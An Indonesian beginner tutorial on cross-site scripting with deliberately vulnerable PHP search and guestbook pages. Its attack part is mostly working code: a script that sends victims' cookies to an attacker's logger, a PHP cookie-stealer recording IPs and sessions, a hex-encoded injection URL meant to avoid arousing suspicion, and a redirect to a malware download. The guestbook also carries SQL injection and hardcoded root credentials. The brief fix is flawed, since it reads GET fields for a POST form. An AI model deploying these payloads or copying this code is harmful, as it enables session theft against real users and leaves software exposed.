Tutorial dasar xss

0
Cross Site Scripting atau biasa dikenal dengan XSS merupakan salah satu vulnerability pada website
yang kerap kali dapat ditemukan pada aplikasi website dan dapat digunakan oleh pihak-pihak yang
tidak bertanggungjawab untuk mengeksekusi code HTML atau javascript pada komputer korban.
Umumnya komputer yang menjadi korban adalah mereka yang mengakses website yang vulnerable.

Tujuan 
Tujuan dari peretas mengeksploitasi celah keamanan menggunakan teknik XSS adalah untuk mecuri
cookie
yang ada di komputer client (cookie stealing), Melakukan redirection URL dengan maksud
“tertentu” (URL Redirection) melalui teknik kejahatan yang dinamakan phising dan lainnya. Tujuan
lain dari tulisan ini dibuat adalah untuk menambah pemahaman kita tentang serangan dengan
menggunakan XSS dan perbedaan antara teknik yang satu dan lainnya dalam mengeksploitasi
vulnerability XSS.

Jenis-jenis Cross Site Scripting (XSS)
Secara umum, teknik XSS ini dibagi dalam tiga kelompok yaitu DOM Based XSS, Non-persistent XSS
dan Persistent XSS. Penjelasan mengenai ketiga jenis teknik XSS tersebut adalah sebagai berikut

DOM BASED XSS
Dom based XSS terjadi karena adanya kesalahan yang dilakukan oleh programmer ketika
memprogram sebuah file yang disimpan pada local machine yang menjadi target eksploitasi.
Beberapa software third party yang dapat diinstall pada sebuah komputer umumnya melampirkan
sebuah file berbasis HTML yang berisikan README/HELP.
Celah keamanan ini akan diketemukan ketika sebuah software pada local machine tersebut dapat
dieksploitasi oleh peretas. Melakukan eksploitasi pada DOM based XSS umumnya hampir sama
dengan eksploitasi dengan non-persistent XSS.

NON-PERSISTENT XSS
Non-persistent XSS kerap kali ditemui oleh kita pada aplikasi-aplikasi yang berbasis web. Hal ini
terjadi karena ada kesalahan dalam programming yang dilakukan oleh programmer dalam melakukan
filtrasi atas inputan-inputan yang dilakukan oleh user.
Sesuai dengan namanya, akibat yang ditimbulkan oleh serangan jenis ini hanya bersifat sementara
yaitu ketika user mengklik URI yang diberikan. Celah keamanan ini akan umumnya dapat dijumpai
pada website-website yang menyediakan fitur search terhadap sebuah konten.

PERSISTENT XSS
Persistent-XSS terjadi karena kecerobohan dari programmer saat menuliskan kode program yang
tidak melakukan filtrasi terhadap inputan yang diberikan oleh user dan dapat disimpan secara
permanen dalam sebuah website.
Umumnya hal ini terjadi pada aplikasi-aplikasi yang mengizinkan user menyimpan data secara bebas
dalam sebuah website. Aplikasi-aplikasi tersebut diantaranya adalah buku tamu (guestbook), forum
dan aplikasi sejenis lainnya.

Akibat yang ditimbulkan
Umumnya celah keamanan ini akan lebih banyak menimpa client ketimbang server. Misalnya
seperti Cookie Stealing, Session Hijacking, Phising dan lain sebagainya.

Proof of Concept (PoC)
Dibawah ini dapat anda temukan tulisan yang menunjukkan Proof of Concept atau pembuktian dari
sederetan teori yang telah dijelaskan diatas, Pastikan Apache, MySQL dan PHP (AMP) telah terinstall
didalam PC anda sebelum mencoba PoC dibawah ini.

Non-Persistent and DOM XSS Attack
Seperti yang telah dipaparkan sebelumnya serangan DOM XSS dan Non-persistent XSS hampir
sama pola eksploitasinya. Untuk membantu dalam memahami pola serangan tersebut, dibawah ini
sudah di siapkan sebuah contoh code html/php sederhananya.
 buat

File: index.html

<html>
<head>
<title>Search Engine with XSS Vulnerability</title>
</head>
<body>
<form method=”GET” action=”cari.php”>
<input type=”text” size=”25” name=“key”>
<input type=”submit” value=”Cari..”>
</form>
</body>
</html>
File: cari.php

<?php
/* PHP Non-Persistent and DOM XSS Attack Code
** Programmer: Marion Renaldo Rotinsulu
** Date: 3rd May 2011
** Filename: cari.php
** Version: 1.0
** Description: File ini merupakan contoh sederhana dari aplikasi searching
dalam sebuah web.
*/
session_start();
$_SESSION[‘desc’] = “ujicoba dom dan non-persistent xss”;
if(isset($_GET[“key”])){
echo “<pre> Anda sedang mencari dengan kata kunci
”.$_GET[“key”].”…</pre>”;
}
?>
Penjelasan:
Anda bayangkan sekarang anda sedang menggunakan search engine layaknya google. Dihalaman
utama google hanya ada sebuah halaman dengan 1 form untuk search dan 1 lagi button submitnya.
Didalam scenario kali ini kita namakan file tersebut adalah index.html. Untuk dapat memproses apa
yang anda inginkan tentunya butuh file yang bertindak sebagai processor. File tersebut dalam
scenario kali ini kita namakan cari.php.
Pada metode passing parameter dari box search di halaman index.html kita memilih untuk
menggunakan metode GET pada http, sehingga parameter yang akan kita kirimkan pada file cari.php
akan terlihat pada kolom url.



Sebagai contoh kita akan mencari “Security” maka
setelah anda tekan tombol Cari di halaman index.html,
anda akan diantarkan pada halaman cari.php dan di
browser akan ada tulisan sebagai berikut: Anda
Sedang mencari dengan kata kunci Security…
Selanjutnya mari kita perhatikan kolom url pada
browser, maka aka nada tulisan sebagai berikut:
http://localhost/cari.php?key=Security.
 
Jika kita lihat pada source code cari.php, programmer tidak melakukan filtering terhadap inputan yang
diberikan oleh pengguna. Sehingga, apapun yang kalian cantumkan akan dieksekusi oleh php script.
Sekarang, coba kalian ganti kata Security pada url dengan <script>alert(“ih Wow!)</script>. Yang
akan terjadi adalah box alert akan muncul pada browser dengan tulisan “ih Wow!”.
Ketika halaman cari.php dapat melakukan eksekusi terhadap inputan javascript diatas, artinya
halaman website tersebut vulnerable terhadap serangan yang dinamakan XSS. Namun, bagaimana
untuk menggunakan vulnerable XSS ini untuk melakukan kejahatan? Jawaban: dengan
memanfaatkan kode javascript. Berikut beberapa contoh pemanfaat XSS yang populer (Cookie
Stealing, URL Redirection/Phising).

Cookie Stealing
Cookie stealing digunakan untuk mencuri cookie yang ada pada komputer client, yang dapat
dimanfaatkan untuk kejahatan session hijacking dan akhirnya berujung pada login bypass. Untuk
melakukan cookie stealing bisa dilakukan dengan cara sebagai berikut:

Skenario:
Di website http://localhost/xss/ sudah diketemukan bahwa website tersebut memiliki vulnerability xss.
Website ini banyak diakses oleh user diberbagai dunia sehingga, seorang attacker akan melakukan
aksinya guna mencuri cookie yang ada pada computer user.
Langkah awal sang attacker membuat dua file yaitu payload.js dan cookie.php. payload.js adalah file
yang akan di embed kedalam URI website http://localhost/xss/ sedangkan file cookie.php akan
disimpan di dalam server yang dimiliki oleh sang attacker. Dibawah ini dapat ditemukan script yang
dibuat oleh sang attacker untuk mencuri cookie pada computer user.

payload.js
// JavaScript Document
document.location="http://localhost/cookie/cookie.php?c="+document.cookie
cookie.php
<?php
/*Cookie Stealer*/
$f=fopen('cookie.txt','a');
$date = date("j F, Y, g:i a");
$referer = getenv('HTTP_REFERER');
fwrite($f, "IP Address : ".$_SERVER['REMOTE_ADDR']."\n".
"Cookie : ".$_GET['c']."\n".
"Date/Time : ".$date."\n".
"Referer : ".$referer."\n".
"User Agent : ".$_SERVER['HTTP_USER_AGENT']."\n\n\n");
fclose($f);
?>
Penjelasan baris per baris dari code yang saya tuliskan diatas tidak akan saya jelaskan didalam
tulisan ini, karena untuk menjelaskannya sendiri membutuhkan waktu yang lumayan lama. Untuk
dapat melakukan pencurian cookie, kita akan melakukan embedding file javascript kedalam URI
sehingga menjadi seperti berikut :
http://localhost/xss/cari.php?key=<script src="http://localhost/cookie/payload.js"></script>

Namun jika URI seperti diatas akan diberikan kepada user, tentunya user akan menaruh kecurigaan.
Sehingga perlu dilakukan encode kedalam bentuk heksadesimal. Untuk melakukan encode ke dalam
hexadecimal, saya menggunakan tools yang telah ada di http://ha.ckers.org/xss.html. URI diatas akan
menjadi seperti berikut ini:

http://localhost/xss/cari.php?key=%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74
%74%70%3A%2F%2F%6C%6F%63%61%6C%68%6F%73%74%2F%63%6F%6F%6B%69%65%2F
%70%61%79%6C%6F%61%64%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E

Sebelum anda melakukan serangan pastikan dua hal dibawah ini:
1. Folder tempat anda menyimpan file cookie nanti dapat ditulis oleh user apache. Pada contoh kali
ini saya meletakkan file cookie didalam folder yang sama dengan script phpnya.
2. Jika webserver anda linux, pastikan user apache diberikan privileges/izin untuk menulis difolder
tersebut. Amannnya di change modenya menjadi Read Write Execute oleh semua user, namun
jangan diletakkan difolder yang dapat diakses melalui website.
Setelah url berhasil di encode dan dilakukan eksekusi oleh user pada browsernya, maka cookie yang
ada di client akan disimpan pada file cookie.txt pada server attacker. Adapun dokumen cookie yang
tersimpan pada server isinya ditunjukkan pada gambar dibawah ini:

URL Redirection
Teknik yang digunakan dalam url redirection hampir sama dengan teknik cookie stealing. Tujuan dari
attacker menggunakan url redirection adalah menginginkan user membuka halaman palsu untuk login
biasa dikenal dengan istilah phising atau menginginkan user mendownload sesuatu ke dalam
komputernya seperti virus, worm, dan sebagainya.

Apa yang harus dimodifikasi dari yang telah kita buat dalam payload.js? yang kita akan modifikasi
adalah file yang akan kita berikan ketika user membuka url yang kita berikan. Untuk lebih
menggambarkan modifikasi tersebut, dapat diperhatikan contoh dibawah ini:
Attacker menginginkan user membuka url dan mendownload wormtail.exe yang merupakan virus
ganas kedalam komputernya. Maka modifikasi yang dilakukan oleh sang attacker dalam file
payload.js adalah
document.location= “http://www.example.com/wormtail.exe”

Persistent XSS Attack
Serangan jenis ini bersifat permanen karena attacker dapat menyimpan codenya kedalam database
website. Sangat sering dijumpai pada website yang ada guestbook ataupun shout box yang dibuat
tanpa memfilter inputan yang diberikan.
Untuk lebih menjelaskan tentang serangan jenis ini, kita akan membuat sebuah aplikasi guestbook
sederhana. Aplikasi ini kemudian diexploit oleh attacker dengan menggunakan teknik persistent XSS
attack.
Untuk membuat aplikasi guestbook ini, kita akan membuat 3 file utama yaitu form
guestbook(guestbook.html), user interface untuk melakukan viewing guestbook(view_guestbook.php),
dan file yang berfungsi untuk menangani proses penyimpanan ke dalam database(guestbook.php).

guestbook.html
<html>
<head>
<title>Buku Tamu</title>
</head>
<body>
<form method="post" action="guestbook.php">
<table border="0" align="center" cellpadding="0" cellspacing="0"
width="300px">
<tr>
<td>Nama</td>
<td>:</td>
<td><input type="text" name="nama" size="15"></td>
</tr>
<tr>
<td valign="top">Pesan</td>
<td valign="top">:</td>
<td valign="top"><textarea name="pesan" cols="25"
rows="12"></textarea></td>
</tr>
<tr>
<td colspan="3" align="center"><input type="submit"
value="Simpan!"></td>
</tr>
</table>
</form>
</body>
</html>
view_guestbook.php 
/* PHP View Guestbook Code
** Programmer: Marion Renaldo Rotinsulu
** Date: 5th May 2011
** Filename: view_guestbook.php
** Version: 1.0
** Description: File ini merupakan contoh sederhana dari aplikasi view
guestbook dalam sebuah web.
*/
<html>
<head>
<title>ISI BUKU TAMU</title>
</head>
<body>
<table border="1" cellpadding="5" cellspacing="3" style="bordercollapse:
collapse">
<tr><td>Ke</td><td>Nama</td><td>Pesan</td>
<?php
mysql_connect("localhost","root","marionaja");
mysql_select_db("test");
$query= mysql_query("SELECT * FROM bukutamu");
while(($result = mysql_fetch_object($query))){
echo "<tr><td>".$result->id."</td><td>".$result-
>nama."</td><td>".$result->pesan."</td></tr>";
}
?>
</table>
</body>
</html>
guestbook.php
/* PHP Guestbook Code
** Programmer: Marion Renaldo Rotinsulu
** Date: 5th May 2011
** Filename: view_guestbook.php
** Version: 1.0
** Description: File ini akan menangani “penyimpanan” data kedalam website.
*/
<?php
$nama = $_POST["nama"];
$pesan = $_POST["pesan"];
mysql_connect("localhost","root","marionaja");
mysql_select_db("test");
mysql_query("INSERT INTO `bukutamu` VALUES
('','".$nama."','".$pesan."')");
?>
 Pada script diatas, anda dimungkinkan untuk melakukan submit pada aplikasi guestbook seperti
<script>alert(‘test’);</script> dan itu akan disimpan permanent di dalam database.
Akibatnya, setiap kali anda akan membuka halaman view_guestbook kotak alert akan selalu keluar

Akibat yang lebih parah dari adanya kerentanan ini adalah cookie stealing. Tekniknya sama seperti
diatas hanya saja kita akan memasukkan payload yang telah kita buat pada non-persistent xss untuk
disimpan pada buku tamu yang kita buat saat ini.

Pencegahan
Pencegahan utama dari vulnerability XSS ini adalah melakukan filter terhadap inputan yang diberikan
user. Tanpa adanya filter input pada aplikasi, vulnerability ini tetap berbahaya.
Pada aplikasi berbasis php gampangnya kita menggunakan fungsi strip_tags() untuk melakukan
filtering terhadap simbol2 inputan user yang dapat menimbulkan xss. Pada script guestbook.php
diatas inputan nama/pesan diubah menjadi berikut
$nama = strip_tags($_GET[“nama”]);
$pesan = strip_tags($_GET[“pesan”]);
Ada juga cara lain yang dapat digunakan untuk melakukan filter input. Cara ini agak rumit karena kita
harus belajar cara penulisannya. Cara yang saya maksudkan adalah Regular Expression (RegEx
<baca:regex>). Pada tulisan kali ini saya tidak akan membahas tentang regex, karena membahas
regex sama halnya dengan menuliskan artikel yang baru.

Kesimpulan

Dari apa yang ada pada tulisan ini kesimpulan yang dapat kita ambil adalah Cross Site Scripting tidak
membahayakan server, namun yang menjadi ancaman utama dari serangan ini adalah Client/User.